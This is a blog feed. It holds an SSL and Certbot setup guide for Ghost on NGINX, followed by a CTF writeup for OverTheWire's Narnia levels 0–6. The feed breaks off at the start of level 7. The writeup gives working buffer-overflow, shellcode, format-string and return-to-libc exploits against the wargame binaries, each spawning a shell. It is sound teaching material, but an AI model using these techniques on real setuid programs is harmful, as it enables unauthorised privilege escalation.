<![CDATA[cplusperks ++]]>https://cplusperks.com/Ghost 0.8Thu, 19 Mar 2026 06:00:29 GMT60<![CDATA[Setting up SSL for Ghost with LetsEncrypt and Certbot over NGINX]]>With Chrome heralding the triumphant end of HTTP as we know it, I thought I should at least get with the program and get the blog a valid certificate. Luckily nowadays the process is extremely painless and will take you less than 10 minutes. The Ghost blogging platform has instructions

]]>
https://cplusperks.com/setting-up-ssl-for-ghost-with-letsencrypt-and-certbot-over-nginx/64fb2c8f-1f02-4574-a62a-c2f2e9af0022Thu, 15 Feb 2018 22:47:53 GMT

With Chrome heralding the triumphant end of HTTP as we know it, I thought I should at least get with the program and get the blog a valid certificate. Luckily nowadays the process is extremely painless and will take you less than 10 minutes. The Ghost blogging platform has instructions on how to set up SSL for self-hosted sites, but there were some gotchas I ran into and decided to document a step-by-step process for anyone else who might need this in the future. Note that this does assume you have shell access to your hosting service.

Getting Started

My server is running on a DigitalOcean droplet on Ubuntu 14.04.4 LTS, but any distro configuration should be easily adaptable. Ghost also uses NGINX to serve requests and most of the configuration files and paths should be in standard locations. However if they are not, I will include hints on where you should be looking to find what you are looking for.

We are going to be getting our certificates provided by LetsEncrypt, an incredible org that provides an open and free Certificate Authority for anybody to use. Using Certbot will simplify this process of registering and obtaining certs and will also be used to automatically renew them as well.

Installing Certbot

Certbot is maintained in a PPA, the following commands should be easy enough to install it:

$ sudo apt-get update
$ sudo apt-get install software-properties-common
$ sudo add-apt-repository ppa:certbot/certbot
$ sudo apt-get update
$ sudo apt-get install python-certbot-nginx 

Setting up NGINX

Before going any further, we need to set up our NGINX installation to serve our well-known directory so that we can validate our acme-challenge. Otherwise, when we try to run certbot we will get an error because Ghost does not serve up files from the default root folder at /var/www/ghost. This is the path that we will be using, however to find your correct Ghost installation root, it will be the folder that contains your content, core, config.js and index.js files as well the npm module and packaging apparatus.

Find your NGINX conf file that manages the Ghost service. For me, this was found at /etc/nginx/sites-enabled/ghost. In general, you will know it is the proper configuration since it will contain a reference to your domain name and look something like this:

server {  
    listen 80 default_server;
    listen [::]:80 default_server ipv6only=on;

    server_name cplusperks.com # Replace with your domain

    root /usr/share/nginx/html;
    index index.html index.htm;

    client_max_body_size 10G;

    location / {
        proxy_pass http://localhost:2368;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_buffering off;
    } 

    location ~ ^/.well-known {
        root /var/www/ghost;
    }
}

You will notice an additional location setting added to our configuration that looks like:

    location ~ ^/.well-known {
        root /var/www/ghost; # Your path should be here
    }

This will allow LetsEncrypt to validate our certificates when we register them. By default this route would not be served and return a 404, however this will tell NGINX to serve requests looking for our well-known folder where to look.

Make sure to refresh our NGINX instance by running sudo service nginx restart!

Running Certbot

Even though Certbot now comes with an NGINX plugin, I didn't want to chance automated configuration file rewrite and rules breaking something. Instead we will request the certificates and manually update our NGINX conf again to enable SSL. Run the following command (replacing paths and domains with yours):

sudo certbot --webroot certonly -w /var/www/ghost -d cplusperks.com -d www.cplusperks.com

Follow the onscreen instructions. Eventually LetsEncrypt will place your certificates in the following location: /etc/letsencrypt/live/<yourdomain>.

Reconfiguring NGINX

We now need to re-edit our conf file to use our freshly provided certs and to redirect HTTP traffic requests over SSL. They are a couple ways to do this, but the following configuration should contain the basics of what settings need to be turned on and set (and should work out of the box).

upstream ghost {  
    server localhost:2368;
}

server {  
    listen 80 default_server;
    listen [::]:80 default_server ipv6only=on;

    server_name cplusperks.com www.cplusperks.com; # Replace with your domain

    rewrite ^ https://$http_host$request_uri? permanent;
}

server {

    listen 443 ssl default_server;
    ssl_certificate /etc/letsencrypt/live/cplusperks.com/fullchain.pem; # Replace with your domain
    ssl_certificate_key /etc/letsencrypt/live/cplusperks.com/privkey.pem; # Replace with your domain

    server_name cplusperks.com www.cplusperks.com; # Replace with your domain


    root /usr/share/nginx/html;
    index index.html index.htm;

    client_max_body_size 10G;

    location / {
        #proxy_pass http://localhost:2368;
        proxy_pass http://ghost;
        proxy_redirect off;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_buffering off;
    } 

    location ~ ^/.well-known {
        root /var/www/ghost;
    }

    fastcgi_param HTTPS on;
    fastcgi_param HTTP_SCHEME https;

}

Throw a sudo service restart nginx and you should see the reassuring green SSL indicator in your url (although to be fair, you can't always trust what you see)

Auto-renewal Cron Job

Of course one thing to keep in mind once this is all setup is that certificates need to be periodically refreshed. Luckily cerbot places an automatic cronjob for us at /etc/cron.d/certbot. We have to make sure we edit it so that our NGINX server is reloaded to pick up the refreshed cert, so lets add some pre and post hooks.

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

0 */12 * * * root test -x /usr/bin/certbot -a \! -d /run/systemd/system && perl -e 'sleep int(rand(3600))' && certbot -q renew --pre-hook "service nginx stop" --post-hook "service nginx start"  

Congrats!

That was pretty painless wasn't it?

]]>
<![CDATA[Narnia Writeup]]>Narnia is an OverTheWire CTF game that dives into the fundamentals of C and x86 exploitation techniques.

If you are just starting, or unfamiliar to the format of the games, check out the other post on Leviathan, the first game of the track. It also does an introduction to many

]]>
https://cplusperks.com/narnia/97c4cff4-7ae4-404f-afc4-1232e9b6130dTue, 30 Jun 2015 19:34:51 GMT

Narnia is an OverTheWire CTF game that dives into the fundamentals of C and x86 exploitation techniques.

If you are just starting, or unfamiliar to the format of the games, check out the other post on Leviathan, the first game of the track. It also does an introduction to many of the gdb techniques I use in this post that I don't explain.

These write-ups are mainly intended as an education resource and to be followed alongside doing the exercises yourself. The levels somewhat build upon each other, so make sure you completely understand the exploit before moving on and, if possible, exhaust yourself trying them first before reading the explanation. Also, all code posted is under the GNU GPLv2 license.

If you have any questions, please let me know in the comments or hit me up on twitter @cplusperks.

With that said, let's get started.


Table of Contents


Level 0:

int main(){  
        long val=0x41414141;
        char buf[20];

        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);

        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);

        if(val==0xdeadbeef)
                system("/bin/sh");
        else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }

        return 0;
}

For the bootstrap level we are given a binary that introduces a simple buffer overflow. In particular we have unprotected scanf call that does not have a sanity check on the user input we supply. The point is to somehow change that content stored in val (0x41 = 'A') to the hex value 0xdeadbeef. We know that our buffer is declared as buf[20], so lets see what we need to overwrite it:

narnia0@melinda:/narnia$ (python -c 'print "C"*19') | ./narnia0  
Correct val's value from 0x41414141 -> 0xdeadbeef!  
Here is your chance: buf: CCCCCCCCCCCCCCCCCCC  
val: 0x41414141  
WAY OFF!!!!  
narnia0@melinda:/narnia$ (python -c 'print "C"*20') | ./narnia0  
Correct val's value from 0x41414141 -> 0xdeadbeef!  
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCC  
val: 0x41414100  
WAY OFF!!!!  
narnia0@melinda:/narnia$ (python -c 'print "C"*24') | ./narnia0  
Correct val's value from 0x41414141 -> 0xdeadbeef!  
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCCCCCC  
val: 0x43434343  
WAY OFF!!!!  

As suspected, it seems that we can begin to overwrite val by supplying 20 chars + 4 bytes. Remembering most systems are little endian, let us try supplying 0xdeadbeef and see if that works:

narnia0@melinda:/narnia$ (python -c 'print "C"*20 + "\xef\xbe\xad\xde"') | ./narnia0  
Correct val's value from 0x41414141 -> 0xdeadbeef!  
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCCᆳ�  
val: 0xdeadbeef  

Strange, even though the value is changed we still don't get a shell. This might be due to the fact that our shell is started, but exists immediately. To overcome this, there is a trick that by executing cat right afterwards, we can 'trap' the shell in a state where we can execute commands (I think this is because printf flushes stdin in such a way that EOF is sent to shell causing it to exit and cat will work around that):

narnia0@melinda:/narnia$ (python -c 'print "C"*20 + "\xef\xbe\xad\xde"';cat) | ./narnia0;  
Correct val's value from 0x41414141 -> 0xdeadbeef!  
Here is your chance: buf: CCCCCCCCCCCCCCCCCCCCᆳ�  
val: 0xdeadbeef  
whoami  
narnia1  
cat /etc/narnia_pass/narnia1  
**** Password Removed ****

NOTE: It seems that there is a problem with the terminal not being able to display the hex characters properly. Thus another way to solve this is that you need to 'pad' the string at the end with \x90 (A Null-Op) and using that via copy-paste (not redirection) will actually drop you into a proper shell. Weird. If you know why this might be, let me know. Anyways moving on.


Level 1

int main(){  
        int (*ret)();

        if(getenv("EGG")==NULL){
                printf("Give me something to execute at the env-variable EGG\n");
                exit(1);
        }

        printf("Trying to execute EGG!\n");
        ret = getenv("EGG");
        ret();

        return 0;
}

The objective of this level is to execute a custom payload, preferably one that allows us read the password for the next level.

A little bit of extra information, the environ variable in a binary stores environment variables in the memory space of the executing binary, and a pointer to this pointer can be found at the beginning of execution by examining 16 bytes from $ebp after it has been initialized (remember *((char **) $ebp + 0x10 if examining in gdb or simply *environ with symbols)

However since the program is loading our environment variable directly by calling getenv, this information won't be necessary just yet.

A common mistake would be that the program expects you to set a shell command to be executed at EGG, i.e set EGG=/bin/sh. However what actually needs to happen is whatever is stored at EGG is going to be executed as instructions, so we need to write position independent 'shellcode'.

The concept of shellcode is outside the scope of this writeup, but I would suggest going over the post at http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html which will give you a good start (and working shellcode)!

Once we do that, with our spawned shell we can read the password:

narnia1@melinda:/narnia$ export EGG=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')  
narnia1@melinda:/narnia$ ./narnia1  
Trying to execute EGG!  
$ whoami
narnia2  
$ cat /etc/narnia_pass/narnia2
**** Password Removed ****

Level 2

int main(int argc, char * argv[]){  
        char buf[128];

        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        strcpy(buf,argv[1]);
        printf("%s", buf);

        return 0;
}

Using what we've learned in the last few lessons, the exploit here is to use a stack-based overflow to gain control of EIP. On x86 systems, EIP (Extended Instruction Pointer) is the register that points to the location in memory where the next instruction to be executed exists.

However, when a context-switch is triggered with a function call, EIP is pushed onto the stack in order to preserve it's value after the function returns. With a buffer overflow, we can write past the buffer on the stack into the memory space of EIP, thus controlling where our control of our program execution when it returns.

We know the buffer size is 128, so lets try figuring the offset for overwrite. The trick is to get the program to segfault by jumping to a space in memory that is unmapped - the location being our input - and find where that tipping point is:

narnia2@melinda:/narnia$ gdb -q narnia2  
Reading symbols from narnia2...(no debugging symbols found)...done.  
(gdb) r $(python -c 'print "A"*128')
Starting program: /games/narnia/narnia2 $(python -c 'print "A"*128')  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[Inferior 1 (process 21393) exited normally]  
(gdb) r $(python -c 'print "A"*140')

Starting program: /games/narnia/narnia2 $(python -c 'print "A"*140')

Program received signal SIGSEGV, Segmentation fault.  
0xf7e3ca00 in __libc_start_main () from /lib32/libc.so.6

(gdb) r $(python -c 'print "A"*144')
The program being debugged has been started already.  
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia2 $(python -c 'print "A"*144')

Program received signal SIGSEGV, Segmentation fault.  
0x41414141 in ?? ()  

From this we can gather that after filling the buffer with 140 characters, the next 4 bytes are what we write to EIP. What should we return to? Well we do have 140 bytes of free space at the location of our buffer, let's drop into GDB and find out where that starts:

(gdb) r $(python -c 'print "A"*140')
Starting program: /games/narnia/narnia2 $(python -c 'print "A"*140')

Program received signal SIGSEGV, Segmentation fault.  
0xf7e3ca00 in __libc_start_main () from /lib32/libc.so.6  
(gdb) x/20wx $esp
0xffffd650:    0x00000002  0xffffd6e4  0xffffd6f0  0xf7feacea  
..... ...
0xffffd830:    0x41414141  0x41414141  0x41414141  0x41414141  
0xffffd840:    0x41414141  0x41414141  0x41414141  0x41414141  
0xffffd850:    0x41414141  0x41414141  0x41414141  0x41414141  
0xffffd860:    0x41414141  0x41414141  0x41414141  0x41414141  
0xffffd870:    0x41414141  0x41414141  0x41414141  0x41414141  
(gdb)
0xffffd880:    0x41414141  0x41414141  0x41414141  0x41414141  
0xffffd890:    0x41414141  0x41414141  0x41414141  0x41414141  
0xffffd8a0:    0x41414141  0x41414141  0x41414141  0x41414141  
0xffffd8b0:    0x41414141  0x44580041  0x45535f47  0x4f495353  
0xffffd8c0:    0x44495f4e  0x3137313d  0x00343235  0x4c454853  

So our buffer starts at 0xfffd830. Because of memory mapping differences between running a program in gdb and normally, the actual start and end will be slightly different, therefore lets pick a spot slightly later into our buffer to jump to.

For example, my shellcode is 25 bytes long which means that I could jump to anywhere 115 bytes before (140 - 25).

The last thing I need to do is fill the buffer with \x90 instead of A, which basically is a series of NOPs that will 'slide' us down to our payload, which is necessary since we wont know exactly where our payload address is. But as long as we land somewhere in the middle of our NOPs, we can reach it regardless.

Let's set our EIP to jump to 0xfffd850 which is comfortably in the middle of our buffer. With that, what we input to the program is:

(sizeof(buffer) - sizeof(shellcode) * "\x90") + shellcode + NOP_Sled_Address

Let's try that out:

narnia2@melinda:/narnia$ ./narnia2 $(python -c 'print "\x90"*115 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x50\xd8\xff\xff"')  
$ whoami
narnia3  
$ cat /etc/narnia_pass/narnia3
**** Password Removed ****

Nice.


Level 3

int main(int argc, char **argv){

  int  ifd,  ofd;
  char ofile[16] = "/dev/null";
  char ifile[32];
  char buf[32];

  if(argc != 2){
          printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
          exit(-1);
  }

  /* open files */
  strcpy(ifile, argv[1]);
  if((ofd = open(ofile,O_RDWR)) < 0 ){
          printf("error opening %s\n", ofile);
          exit(-1);
  }
  if((ifd = open(ifile, O_RDONLY)) < 0 ){
          printf("error opening %s\n", ifile);
          exit(-1);
  }

  /* copy from file1 to file2 */
  read(ifd, buf, sizeof(buf)-1);
  write(ofd,buf, sizeof(buf)-1);
  printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

  /* close 'em */
  close(ifd);
  close(ofd);

  exit(1);
}

This is actually a pretty fun little program. Taking a user supplied string, it attempts to open the target file, read it, and the dump its contents into /dev/null (effectively doing nothing). Let's take a look at the assembly and see if we can find the addresses where our variables live:

narnia3@melinda:/narnia$ echo "perks" > /tmp/perks  
narnia3@melinda:/narnia$ gdb -q narnia3  
Reading symbols from narnia3...(no debugging symbols found)...done.  
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:  
   0x0804851d <+0>:    push   ebp
   0x0804851e <+1>:    mov    ebp,esp
   0x08048520 <+3>:    and    esp,0xfffffff0
..... ...
   0x0804858d <+112>:    lea    eax,[esp+0x58] *****  <-- ofile
   0x08048591 <+116>:    mov    DWORD PTR [esp],eax
   0x08048594 <+119>:    call   0x80483e0 <open@plt>
..... ...
   0x080485cc <+175>:    lea    eax,[esp+0x38]  ***** <-- ifile
   0x080485d0 <+179>:    mov    DWORD PTR [esp],eax
   0x080485d3 <+182>:    call   0x80483e0 <open@plt>
..... ...
   0x0804866a <+333>:    call   0x8048410 <close@plt>
   0x0804866f <+338>:    mov    DWORD PTR [esp],0x1
   0x08048676 <+345>:    call   0x80483d0 <exit@plt

# Set a breakpoint before program exit #

(gdb) r /tmp/perks
Starting program: /games/narnia/narnia3 /tmp/perks

(gdb) x/s $esp+0x38
0xffffd688:    "/tmp/perks"  
(gdb) x/s $esp+0x58
0xffffd6a8:    "/dev/null"  

The trick here is that we can exploit a buffer overflow into the stack variable ofile, causing the dump to happen at a location we wish that will preserve the write instead of discarding it. Then, by providing the input in as a symbolic link to the password file, we will be able to read the contents provided to us by this setuid binary.

One problem though is that the input we provide must also be a valid file (otherwise the open call will fail), while at the same time overflowing into a custom path. Luckily we know exactly the distance required (both from the source code and arithmetic of $esp+0x58 - $exp+0x38) which is 32 bytes. We just need to trick the program through clever path manipulation. This is easier to understand when shown, so try and follow along below (my comments are prefixed with a #):

narnia3@melinda:/narnia$ mkdir /tmp/ex3  
narnia3@melinda:/narnia$ cd /tmp/ex3  
narnia3@melinda:/tmp/ex3$ pwd  
/tmp/ex3  # Our path length is currently 8 bytes + 1 byte for trailing '/'
          # 32 - 9 - 1 byte again for trailing '/', 22 bytes left

narnia3@melinda:/tmp/ex3$ mkdir $(python -c 'print "A"*22')  
narnia3@melinda:/tmp/ex3$ cd AAAAAAAAAAAAAAAAAAAAAA/  
narnia3@melinda:/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA$  
narnia3@melinda:/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA$ ln -s /etc/narnia_pass/narnia4 readthis  
narnia3@melinda:/tmp/ex3$ file /tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis  
/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis: symbolic link to '/etc/narnia_pass/narnia4'

# '/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/' is 32 characters
# Therefore after the /, our input file becomes the target of the output
# which in this case is just 'readthis'. By executing in another directory
# the program, we can create another file called 'readthis' which 'narnia3' 
# will look for in the current directory and write to

narnia3@melinda:/tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA$ cd .. # Go up  
narnia3@melinda:/tmp/ex3$ touch readthis  
narnia3@melinda:/tmp/ex3$ chmod 777 readthis # Make sure it can write to it  
narnia3@melinda:/tmp/ex3$ /narnia/narnia3 /tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis  
copied contents of /tmp/ex3/AAAAAAAAAAAAAAAAAAAAAA/readthis to a safer place... (readthis)  
narnia3@melinda:/tmp/ex3$ cat readthis  
**** Password Removed ****

That whole process may seem a little confusing, especially since there are two files named the same thing in different locations, but step through each step slowly and the reasoning should become apparent. On to the next!


Level 4

extern char **environ;

int main(int argc,char **argv){  
        int i;
        char buffer[256];

        for(i = 0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));

        if(argc>1)
                strcpy(buffer,argv[1]);

        return 0;
}

This level is almost exactly the same as the exercise in Level 2, the only difference being more buffer space and an additional security feature that 0's out all the environment levels in memory (alternatively Level 2 could be solved by jumping to shellcode stored in an environment later -- more on that to come).

I leave this as an exercise to the reader. If you have gotten this far it should be trivial enough to complete (remember you have to play around the address jumping into a NOP sled due to shifts in memory mapping between gdb and normal execution of a program).


Level 5

int main(int argc, char **argv){  
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}

Here we are encountering a new sort of vulnerability, one known as a format string attack.

Before proceeding further, check out this post over at CodeArcana that does a great overview on how this attack works and how it allows you to both read and write to arbitrary memory locations (Chapter 12 of Gray Hat Hacking: The Ethical Hacker's Handbook, 3rd Edition also has a great introduction to this).

From an initial overview we see that the program has finally opted to check the size of input before copying into the buffer, which means that our buffer overflow techniques we have been using are no help here.

Thankfully, the level gives you two very strong hints (saving us from a lot of gdb exploration) in allowing you to both see the memory address you want to overwrite, plus the output from the snprintf allowing you to calculate the offset you need.

However for the sake of ~ education ~ I will dive into the internals to give an example of how you might do this if you haven't been given the hints (in real programs you won't).

The first thing we need to do is to locate on the stack the positions of both our target (the i = 1), and the layout of our buffer relative to the stack.

Let's breakpoint right after the snprintf call because thats when the format attack happens, and I'll draw a map of what is happening in memory (look for annotations):

NOTE: These addresses are most likely to be different than yours, map them yourself accordingly, it should still follow the same principles

narnia5@melinda:/narnia$ gdb -q narnia5  
Reading symbols from narnia5...(no debugging symbols found)...done.  
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:  
   0x080484bd <+0>:    push   ebp
   0x080484be <+1>:    mov    ebp,esp
   0x080484c0 <+3>:    and    esp,0xfffffff0
   0x080484c3 <+6>:    sub    esp,0x60
   0x080484c6 <+9>:    mov    DWORD PTR [esp+0x5c],0x1 **** <-- i = 1
   0x080484ce <+17>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080484d1 <+20>:    add    eax,0x4
   0x080484d4 <+23>:    mov    eax,DWORD PTR [eax]
   0x080484d6 <+25>:    mov    DWORD PTR [esp+0x8],eax  *** <-- argv[1]
   0x080484da <+29>:    mov    DWORD PTR [esp+0x4],0x40 *** <-- sizeof buffer
   0x080484e2 <+37>:    lea    eax,[esp+0x1c]          **** <-- Addr of buffer
   0x080484e6 <+41>:    mov    DWORD PTR [esp],eax
   0x080484e9 <+44>:    call   0x80483b0 <snprintf@plt>
   0x080484ee <+49>:    mov    BYTE PTR [esp+0x5b],0x0 ******* <-- BREAKPOINT
   ##########    OUR ARGS ABOVE ARE NOW RELATIVE TO $ESP (SEE ABOVE) ######
   0x080484f3 <+54>:    mov    DWORD PTR [esp],0x8048610
   0x080484fa <+61>:    call   0x8048350 <printf@plt>
   0x080484ff <+66>:    mov    eax,DWORD PTR [esp+0x5c]
   0x08048503 <+70>:    cmp    eax,0x1f4
   0x08048508 <+75>:    jne    0x8048522 <main+101>
   0x0804850a <+77>:    mov    DWORD PTR [esp],0x8048631
   0x08048511 <+84>:    call   0x8048360 <puts@plt>
   0x08048516 <+89>:    mov    DWORD PTR [esp],0x8048636
   0x0804851d <+96>:    call   0x8048370 <system@plt>
---Type <return> to continue, or q <return> to quit---q
Quit  
(gdb) b *main+49
Breakpoint 1 at 0x80484ee  
(gdb) r AAAA
Starting program: /games/narnia/narnia5 AAAA

Breakpoint 1, 0x080484ee in main ()  
(gdb) x/24wx $esp
                   _ Addr of buffer
                  |           _ sizeof buffer                                                                                                               
                  |          |              _ Addr of argv[1]                                         
                  |          |             |
                  v          v             v
0xffffd660:    0xffffd67c  0x00000040  0xffffd8b2  0xf7eb75b6  
0xffffd670:    0xffffffff  0xffffd69e  0xf7e2fbf8  0x41414141 <- start of buffer  
0xffffd680:    0x00000000  0x00ca0000  0x00000001  0x08048319  
0xffffd690:    0xffffd89c  0x0000002f  0x08049858  0x080485d2  
0xffffd6a0:    0x00000002  0xffffd764  0xffffd770  0xf7e5610d  
0xffffd6b0:    0xf7fca3c4  0xf7ffd000  0x0804858b  0x00000001 <- target (i = 1)  
(gdb)

As you can see by the state of the stack, after the last argument, it takes 5 words to reach the beginning of our buffer (verify each argument by doing $esp + offset). Therefore we know our offset to be 5. We can verify this (if this step does not make sense, go back over how format attacks work):

narnia5@melinda:/narnia$ ./narnia5 AAAA%5\$x  
Change i's value from 1 -> 500. No way...let me give you a hint!  
buffer : [AAAA41414141] (12)  
i = 1 (0xffffd6dc)  
narnia5@melinda:/narnia$  

Great. Looking back at our map of the stack, we can see the address of where our target is located at 0xffffd6bc (This is different than that given to us by the hint, remember gdb maps differently). For now, we will use the address provided by the hint, but to figure out the actual address make sure you pay attention to the use of env -i in Debugging an Exploit of the CodeArcana post.

Now the tricky part is, when we increase the size of our argv[1], it makes sense that it shifts the position of the rest of the stack accordingly, and we have to compensate for that by recalculating where our target is (the hint does this for us, but the process is exactly the same, just pay attention to the offset which it is being stored at on $esp).

Anyways, the next bit is to attempt to overwrite the target address with out value. We want to change it to 500, which is hex is represented as 0x000001f4 (whole word). The following chart from Gray Hat Hacking: The Ethical Hacker's Handbook summarizes a sort of cheatsheet to doing this (although you should still read the explanations)

Narnia Writeup

Our HOB = 0x0000 and LOB = 0x01f4. Since our payload fits entirely in the LOB (HOB is essentially empty) we actually don't have to use the formula and can just write directly using %n (the reasoning is explained in the post and resources).

Remember %n write the amount of bytes we have seen, and providing the target address already gave us 4 bytes. 500 - 4 = 496 bytes we need to pad to write 500 to the target, lets give that a go:

narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\xdc\xd6\xff\xff"')%.496x%5\$n  
Change i's value from 1 -> 500. No way...let me give you a hint!  
buffer : [����00000000000000000000000000000000000000000000000000000000000] (63)  
i = 1 (0xffffd6cc)  
Segmentation fault  

What happened? Looking closely at the hint should give you a clue. Remember, when you alter the input you shift the state of the stack. It looks like we did that, causing the location to move from 0xffffd6dc to 0xffffd6cc.

Changing it to the proper target address will spawn you a shell. To do with without the hint is unfortunately difficult. You could try brute-forcing around the address with some hints from gdb to help you out (very tedious), but you should eventually get it (in this case it was 0x10 away from the original). If anyone has a better way let me know! (Update: The writeup of the last exercise on Level 8 shows how to do this somewhat systematically).

narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\xcc\xd6\xff\xff"')%.496x%5\$x  
Change i's value from 1 -> 500. No way...let me give you a hint!  
buffer : [����00000000000000000000000000000000000000000000000000000000000] (63)  
i = 1 (0xffffd6cc)  
narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\xcc\xd6\xff\xff"')%.496x%5\$n  
Change i's value from 1 -> 500. GOOD  
$ whoami
narnia6  
$ cat /etc/narnia_pass/narnia6
**** Password Removed ****

Success! This is definitely a tricky concept to get your head around so do read more on the technique if some things are a little fuzzy.


Level 6

// tired of fixing values...
// - morla
unsigned long get_sp(void) {  
       __asm__("movl %esp,%eax\n\t"
               "and $0xff000000, %eax"
               );
}

int main(int argc, char *argv[]){  
        char b1[8], b2[8];
        int  (*fp)(char *)=(int(*)(char *))&puts, i;

        if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

        /* clear environ */
        for(i=0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));
        /* clear argz    */
        for(i=3; argv[i] != NULL; i++)
                memset(argv[i], '\0', strlen(argv[i]));

        strcpy(b1,argv[1]);
        strcpy(b2,argv[2]);
        //if(((unsigned long)fp & 0xff000000) == 0xff000000)
        if(((unsigned long)fp & 0xff000000) == get_sp())
                exit(-1);
        fp(b1);

        exit(1);
} 

Coming back to more buffer overflow vulnerabilities, we can exploit a particular flavor of attack called a return-to-libc, although strictly we are not overwriting the return address but rather then the call address. In essence what this means is that instead of relying on loading our own shellcode directly, we will instead abuse the standard library calls within the programs own memory in order to gain an advantage (in this case a shell).

This is important because if we take a look at the source code, we see the environ and argv variables being 0'd out, effectively giving us no place to store our shell code (two buffer sizes of [8] does not provide enough space for storage + ability to hit a NOP sled).

Instead, lets look at the call fp(b1) and see what is happening. It seems that running the program with two arguments copies both to a buffer, and then calls fp on the first argument, which is assigned to the address of puts. The result is printing b1 to the screen. Examining the assembly reveals that b2 actually comes before b1 in memory, and that luckily for us the address of fp follows the end of b1, giving us a shot at rewriting it:

..... ...
   0x08048690 <+311>:    mov    ebx,eax
   0x08048692 <+313>:    call   0x804854d <get_sp>
   0x08048697 <+318>:    cmp    ebx,eax
   0x08048699 <+320>:    jne    0x80486a7 <main+334>
   0x0804869b <+322>:    mov    DWORD PTR [esp],0xffffffff
   0x080486a2 <+329>:    call   0x8048410 <exit@plt>
   0x080486a7 <+334>:    lea    eax,[esp+0x20]
   0x080486ab <+338>:    mov    DWORD PTR [esp],eax
   0x080486ae <+341>:    mov    eax,DWORD PTR [esp+0x28] **** <-- Call to 'fp'
   0x080486b2 <+345>:    call   eax
   0x080486b4 <+347>:    mov    DWORD PTR [esp],0x1
=> 0x080486bb <+354>:    call   0x8048410 <exit@plt>
End of assembler dump.

(gdb) x/wx $esp+0x28
0xffffd6b8:    0x080483f0  # Address of 'fp' to overwrite 

(gdb) b *main+354  # So we can examine stack before we exit
(gdb) r AAAA BBBB
Starting program: /games/narnia/narnia6 AAAA BBBB  
AAAA

Breakpoint 1, 0x080486bb in main ()  
(gdb) x/24wx $esp
0xffffd690:    0x00000001  0xffffd8b1  0x00000021  0x08048712  
                                            _ b2                                                             
                                           |
                                           v
0xffffd6a0:    0x00000003  0xffffd764  0x42424242  0xf7e56100  
                     _ b1                   _ fp
                    |                      |
                    v                      v
0xffffd6b0:    0x41414141  0xf7ffd000  0x080483f0  0x00000003  
0xffffd6c0:    0x080486c0  0xf7fca000  0x00000000  0xf7e3ca63  
0xffffd6d0:    0x00000003  0xffffd764  0xffffd774  0xf7feacea  
0xffffd6e0:    0x00000003  0xffffd764  0xffffd704  0x08049978

(gdb) r AAAACCCC BBBB
Starting program: /games/narnia/narnia6 AAAACCCC BBBB

Program received signal SIGSEGV, Segmentation fault.  
0x08048301 in ?? ()  

So we know we can overflow and write data to the address of fp. The question is to what?

For one, fp(b1) expects a single char * argument. This is very similar to the system command, which executes in shell a target string. So all we need to do is find the location of system, overflow fp to point to that, and ensure b1 is an executable string, such as /bin/sh. But first, finding system is as easy as firing up gdb:

(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e62cd0 <system>

With that, there are many ways to do this, You can either be clever with what you input to b1, or use b2 to actually oveflow back into b1 again. I'll demonstrate both:

# Overflow
narnia6@melinda:/narnia$ ./narnia6 $(python -c 'print "A"*8 + "\xd0\x2c\xe6\xf7"') $(python -c 'print "B"*8 + "/bin/sh"')  
$ whoami
narnia7

# Abuse ; for 'system' call
narnia6@melinda:/narnia$ ./narnia6 "/bin/sh;"$(python -c 'print "\xd0\x2c\xe6\xf7"') BBBB  
$ whoami
narnia7  
$ cat /etc/narnia_pass/narnia7
**** Password Removed ****

Almost there! Just 2 more levels to go.


Level 7

#include <stdio.h>
